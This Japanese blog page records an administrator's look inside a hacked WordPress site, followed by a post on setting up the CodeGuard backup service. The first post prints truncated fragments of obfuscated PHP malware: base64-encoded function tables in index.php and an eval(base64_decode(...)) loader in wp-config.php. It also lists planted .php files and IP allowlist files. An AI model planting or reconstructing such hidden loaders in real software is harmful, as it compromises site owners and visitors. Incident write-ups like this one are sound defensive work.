クラックされたwordpressを見てみた

ページが開けない、というので、調べてみたら、クラックされたwordpressだったので、いろいろファイルをのぞいてみた記録

ざらっと調べてみたけど、被害範囲がでかすぎたので、最初から作ってもらうしかないです、という回答となりました。

・index.php に下記のような文字列が埋め込まれていた

$GLOBALS['_502176623_']=Array(base64_decode('ZXJyb3Jf' .'cm' .'V' .'wb3' .'J0aW5' .'n'),base64_decode('cHJlZ' .'19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19' .'y' .'Z' .'XBsYW' .'Nl'),base64_decode('c3' .'RycG9' .'z'),base64_decode('' .'bWQ1'),base64_decode('ZnVuY' .'3Rp' .'b25fZXhpc3Rz'),base64_decode('Y3' .'Vy' .'bF9pbml' .'0'),base64_decode('Y' .'3Vyb' .'F9zZ' .'XRvcH' .'Q='),base64_decode('Y' .'3Vyb' .'F9zZXRv' .'cHQ='),base64_decode('Y' .'3V' .'yb' .'F9zZX' .'R' .'vcHQ'
<略>
+50)){echo $_8;}}elseif(@$GLOBALS['_502176623_'][13](_1644837808(1091))== round(0+0.25+0.25+0.25+0.25)){echo@$GLOBALS['_502176623_'][14]($_6);}}
//###==###

・wp-config.php 下記のようなものが数箇所に埋め込まれていた

eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJGF1YnRvcSA9IDE2MDU7IGZ1bmN0aW9uIHh1Y3dxbXIoJHRidmRoLCAka29pbW5nbHcpeyRuanpuZXhxcSA9ICcnOyB
<略>
neCc9PidDJywgJ3onPT4nMCcpOwpldmFsLypkeXNwZiovKHh1Y3dxbXIoJGp5Z3h0c2IsICRxemlmeGY
pKTsKfQ=="));

・wp-content/uploads/ にいろんなものがアップロードされている

[root@host wp-content]# ls -la uploads/
合計 56
drwxr-xr-x  5 apache apache  4096 12月  3 11:45 2016 .
drwxr-xr-x  7 apache apache  4096 11月  7 12:50 2016 ..
-rw-r--r--  1 apache apache     0  5月  2 09:41 2016 1.php
drwxr-xr-x  4 apache apache  4096 10月 10 22:31 2016 2015
drwxr-xr-x 12 apache apache  4096 10月  1 01:17 2016 2016
-rw-r--r--  1 apache apache 21377  5月  2 09:41 2016 dbc.php.suspected
-rw-r--r--  1 apache apache  1367 11月  7 12:50 2016 jpgjsk.php.suspected
-rw-r--r--  1 apache apache  4902  5月  2 09:41 2016 mates.php.suspected
drwxr-xr-x  2 apache apache  4096 12月 13 23:58 2016 ps_auto_sitemap
[root@host wp-content]#

・wp-admin/.bt と wp-admin/css/.bt というファイルが作成され、おそらくアクセス許可IPが記載されている
ファイル末尾に追記されるわけではなく、ソートされた順序で増えていっていた

0.5.2.2
0.83.4.1
100.2.201.8
100.35.50.239
100.43.80.14
<略>
99.98.120.94
99.98.2.226
#version:1

・いろんなphpの冒頭が下記のように書き換えられている

<?php





                                      $h00d = 846;$GLOBALS['a287']=Array();globa
l$a287;<略>
$a287['h6d2'][65]]);}exit();} ?><?php
/**

・あと、データベースにいろいろデータが突っ込まれていた

WordPressをバックアップするサービスCodeGuard

すっかり記事を書いたのを忘れていましたが、このCodeGuardというサービスは現在有償プランの下記4種類になっています。

・Personal :1サイト,5GBまで 年60ドル
・Professional :12サイト,50GBまで 月49ドル
・Team : 25サイト,125GBまで 月99ドル
・Small Business :100サイト,500GBまで 月299ドル


WordPressのデータを毎日バックアップしてくれるというCodeGuardというサービスがあるらしい。

日本語でCodeGuardを検索すると旧ボーランド(現エンバカデロ)の開発ツールが出てきますが、それとは違います。

バックアップ手法としては2通り

・sftp/ftpでログインして丸コピー
・wordpressに専用プラグイン入れてコピー

wordpressの方はプラグインを入れるので、SQL側も調整して静止点を取れますが、sftp/ftpの方は、そのままだとちょっと微妙な状態になりかねないですね。

費用ですが、Plansを見ると3種類に見えますが、実は4種類あります。

Free:
・2GBまで使える
・週1回バックアップ
・サイトの監視。マルウェアがアップロードされていないかなど
・アクセスIPのログ機能なし
・履歴保存
Personal:
・5GBまで月5ドル
・容量追加は10GB(月10ドル増加)単位で可能。
・毎日日本時間13時開始のスケジュールバックアップ
・サイトの監視。マルウェアがアップロードされていないかなど
・監視の結果を受けて通知メール送付機能
・アクセスIPのログ機能なし
・履歴保存
Professional:
・125GBまで月99ドル
・25サイトまで無料で登録可能。
・複数サイト登録時にバックアップ順序の指定可能
・複数ユーザ登録可能、ユーザ向け解放も可能
・アクセスIPのログ機能あり
・携帯SMSを使った2段階認証も可能
・履歴保存
Enterprise:
・500GBまで月299ドル
・100サイトまで無料で登録可能。
・複数サイト登録時にバックアップ順序の指定可能
・複数ユーザ登録可能、ユーザ向け解放も可能
・アクセスIPのログ機能あり
・携帯SMSを使った2段階認証も可能
・履歴保存

現状が2GB以内で収まっているのであれば、とりあえず、Freeプランで登録してみてから始めるのがよさそうですね。

ちなみにデータの保存先は、Amazon S3/EC2のようです。
CodeGuard blog:How Safe is Your Website Backup?

また、サイトを高速化する、というサービスのCLOUDFLAREと提携しているようで、「CLOUDFLAREアプリ CodeGuard」という日本語の紹介ページもあります。

で・・・Free 2GBに登録してみました。

重要な注意点:
Freeプランは「アカウントのみ作成」のページからでないと登録できない。

注意点2:gmailで登録したら、「Welcome to CodeGuard!」というタイトルの登録完了通知が迷惑メール扱いされていました。メールが来ないようなら要確認。

アカウントを登録した後は、以下の選択が出てきます。

WordPressで使う場合は、「Is this a WordPress site?」の下ぐらいにあるリンクをクリックします。

そうすると次の画面で、Wordpress用プラグイン設定に必要なkeyが表示されますので、それをコピペします。

その次に、Wordpressにログインし、プラグインにて「Codeguard」で検索してプラグインをインストールします。
間違えて「Code guard」とスペースを入れてしまうと検索に出てこなかったので注意してください。

インストール後、keyを登録すると、Code GuardのDASHBOARDに以下の様な表示がでてきます。

登録したサイトをクリックすると、現在のプロセスが表示されます。

で・・・もうちょっと待つと

という感じで、Amazon EC2への転送完了待ち状態となります。

・・・・えぇ、まだ終わってないので、続きはまた今度の更新となります。

赤枠のところにあるように「11月14日完了予定」です。
完了したらメールで連絡が来るように緑枠のところの「Email me once the backup completes」にチェックを入れときましょう。


11/14とかいっといて、実際には11/12 21:43に終了メールが届きました。

ただ、ダッシュボードを確認すると、14時間の時差が・・・
timezoneはTokyoに設定しているんですが、謎です・・・